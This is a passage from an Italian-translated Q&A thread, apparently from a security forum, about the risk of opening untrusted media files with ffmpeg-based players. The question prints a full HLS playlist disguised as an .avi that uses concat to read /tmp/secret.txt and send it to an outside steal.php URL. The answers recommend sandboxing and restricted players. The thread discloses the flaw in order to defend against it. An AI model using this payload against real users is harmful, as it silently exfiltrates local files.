Come gestire i file multimediali da fonti non attendibili?

10

Sono stato un utente pesante di lettori e codificatori basati su ffmpeg per anni, e sebbene abbia sentito parlare di numerosi problemi di sicurezza, ho sempre pensato che rimanere aggiornati fosse abbastanza sicuro. Tuttavia, ho appena visto un articolo ( in russo ) che spiega come utilizzare ffmpeg senza fare affidamento su alcun bug a tutti.

Per i più coraggiosi:

Crea un file /tmp/secret.txt con una parola segreta (importante: nessuna nuova riga alla fine). Ora riproduci questo video dall'aspetto innocente : link con un lettore basato su ffmpeg o libav (ho testato SMPlayer 14.9.0 su Debian). La tua parola segreta appare nel video?

Gli utenti Windows possono provare link che tenta di rubare c:\secret.txt , anche se non ho provalo.

Come funziona:

steal_secret.avi è in realtà un file HTTP Live streaming che assomiglia a questo:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST

Indica a SMPlayer di concatenare tre file: un'intestazione, secret.txt e un piè di pagina. Il risultato di questa concatenazione è, ancora una volta, un file HLS che assomiglia a questo:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST

Questa volta, i contenuti di secret.txt vengono inviati a steal.php come parametro URL. Nel mio caso, steal.php stampa semplicemente indietro your secret is <your_secret_word> 1000 volte, quindi viene visualizzato all'interno del video. Un vero aggressore avrebbe potuto salvare il segreto e mostrare all'utente una clip innocente, senza alcun sospetto.

Si noti che questo trucco non si basa su bug, utilizza un formato supportato e una funzione di concatenazione utile. E spesso non devi nemmeno cliccare sul file: il tuo gestore di file eseguirà ffmpeg su di esso per generare una miniatura.

Che cosa fare?

Oltre all'ovvio consiglio di stare attenti con i file non fidati e di non utilizzare mai la GUI come root, cosa si potrebbe fare per minimizzare il rischio? In particolare, quale lettore multimediale dovrei usare per aprire questi file? Finora, il mio esempio funziona solo con mplayer e SMPlayer, che supportano concat , ma mi chiedo se altri lettori multimediali che supportano HLS possano essere sfruttati in modo simile.

    
posta Dmitry Grigoryev 14.01.2016 - 20:46
fonte

2 risposte

3

In effetti, ci sono molte vulnerabilità in FFmpeg e allo stesso modo, molte delle quali scoperte dal ricercatore di Google con tecnica fuzzing. L'aggiornamento di player, codificatore e codec è essenziale per raggiungere il più possibile un sistema sicuro.

Se devi gestire file (multimediali) da fonti non attendibili, potrei suggerire di gestirli in un "contenitore virtuale". Scopri alcune delle soluzioni come VMware o VirtualBox che forniscono versioni gratuite.

Lavoro come ricercatore per la sicurezza e il mio team si affida a questo approccio per tutti i tipi di file critici (media, documenti, eseguibili, ecc.). Ha un impatto negativo sul comfort e sulle prestazioni, di solito solo in un modo minore. Ma a volte questo è il prezzo che devi pagare per la sicurezza.

    
risposta data 03.06.2016 - 07:33
fonte
2

Dato il numero di codec e giocatori oggi, le cose brutte possono davvero accadere.

Riguardo a "Cosa fare?" Ho trovato una soluzione piuttosto semplice: utilizzo il mio visualizzatore di immagini e il mio lettore di film che non interpreterà i dati come nel tuo esempio. Anche se per le immagini supporta praticamente ogni formato inventato, per il video c'è il problema con i codec: troppi in troppe versioni.

Anche se i formati ufficiali funzionano bene, alcuni nuovi codici strani non lo faranno. Ma dato che ottengo un file di questo tipo in 1 caso su 1000, non vedo alcun problema a convertirli in una modalità protetta.

Ci sono molti vantaggi di non dipendere dai file del sistema operativo o dalla sicurezza per visualizzare le immagini e riprodurre i film ... iniziando con qualcosa come Windows che non genera il suo thumbs.db ovunque (dato che non uso mai explorer o MP) su linux problemi di sicurezza e exploit che possono derivare dai codec, per lo più interpretazione dei dati non stream.

Per la parte video, dovresti trovare un giocatore che sia in grado di riprodurre lo streaming così com'è, con la possibilità di ignorare tutte le informazioni spam / meta. Usarlo in questo modo ti renderà perfettamente sicuro.

    
risposta data 04.07.2016 - 08:31
fonte

Leggi altre domande sui tag